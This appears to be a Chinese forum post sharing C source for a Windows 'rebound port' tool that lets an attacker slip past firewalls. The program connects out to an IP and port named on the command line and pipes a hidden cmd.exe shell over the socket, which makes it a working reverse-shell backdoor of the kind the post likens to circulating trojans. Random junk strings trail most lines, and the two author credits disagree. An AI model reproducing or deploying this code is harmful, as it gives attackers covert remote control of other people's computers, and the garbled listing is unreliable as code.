这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 \vAjg
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/* ==============================
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Rebound port in Windows NT {Yj5Mj|#
By wind,2006/7 m1X7zU Cy
===============================*/ &u.{]Yjx
#include \)6glAtN
#include pbzFzLal
8}B
#pragma comment(lib,"wsock32.lib") :5NMgR.d
/ I`TN5~
void OutputShell(); 6h;(b2p{
SOCKET sClient; 8)X9abC
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; c* {6T}VZr
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void main(int argc,char **argv) 5naFn m7%
{ :<qe2Z5k
WSADATA stWsaData; *,\"}x*
int nRet; @V%\Gspv
SOCKADDR_IN stSaiClient,stSaiServer; qT$k%(
c@t?R$c
if(argc != 3) Ga7E}y%
{ $+*nb4
printf("Useage:\n\rRebound DestIP DestPort\n"); |Kd#pYt%O
return; ] 3{t}qY$A
} 5*YoK)2J
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WSAStartup(MAKEWORD(2,2),&stWsaData); aOzIo-
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !=dz^f.{
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stSaiClient.sin_family = AF_INET; >v:ex(y0
stSaiClient.sin_port = htons(0); ra$:ibLN
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); FU3K?A
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r
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) (C!p2f
{ V?u#WJy/
printf("Bind Socket Failed!\n"); aA`eKy) \
return; J2=4%#R!
} $Ll9ak}
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stSaiServer.sin_family = AF_INET; NI V}hf YF
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #fuUAbU0X
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); v"G1vSx)BT
iq; |
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 75# 8P?i
{ g&$=Y7G
printf("Connect Error!"); 6@N,'a8r
return; 8Qg10Yjy
} 3( BL
OutputShell(); X0.H(p#s
} &6x(%o|
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void OutputShell() (T%F^s5D
{ pR
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char szBuff[1024]; V:n0BlZ,B
SECURITY_ATTRIBUTES stSecurityAttributes; a"vzC$Hxd
OSVERSIONINFO stOsversionInfo; Lw>B:3e
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [6!k:-t+
STARTUPINFO stStartupInfo; UQl?_[G
char *szShell; @Q74
PROCESS_INFORMATION stProcessInformation; *S;}&VAZ
unsigned long lBytesRead; 7>yd
+A3/^C0
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $J7V]c*-b
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); YdhTjvx
stSecurityAttributes.lpSecurityDescriptor = 0; r[L.TX3Ah=
stSecurityAttributes.bInheritHandle = TRUE; 9Dx~!(
*qpu!z2m||
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); WcN4ff-
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); :aNjh
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); (p{X.X+
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0+>g/>
stStartupInfo.wShowWindow = SW_HIDE; 7'\.QJ!<
stStartupInfo.hStdInput = hReadPipe; 'Ea3(OsuXn
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; fCY|iO0.t
n8,%<!F^
GetVersionEx(&stOsversionInfo); I{IB>j}8
'.|}
switch(stOsversionInfo.dwPlatformId) uN%Cc12
{ vpu#!(N
case 1: Ic/hVKYG5
szShell = "command.com"; v$}^$8`
break; I-#!mFl
default: scV%p&{a
szShell = "cmd.exe"; ?@"@9na
break; =Vg~ VD
} 5 {! fa
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); b<u\THy#
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send(sClient,szMsg,77,0); Thggas,
while(1) /uw@o9`~2-
{ 5U?O1}P
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); QV[&2&&^<<
if(lBytesRead) \]x`f3F
{ ioi/`iQR
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); wkt4vE87
send(sClient,szBuff,lBytesRead,0);
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} [MeivrJ+
else ?'V78N sA
{ RRO@r}A!y
lBytesRead=recv(sClient,szBuff,1024,0); 01n!T2;yW}
if(lBytesRead<=0) break; D^r g-E[L
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); +Nn >*sz
} >@N.jw>#T
} 1]}\h]*
!&U75FpN}:
return; <$nPGz)}
}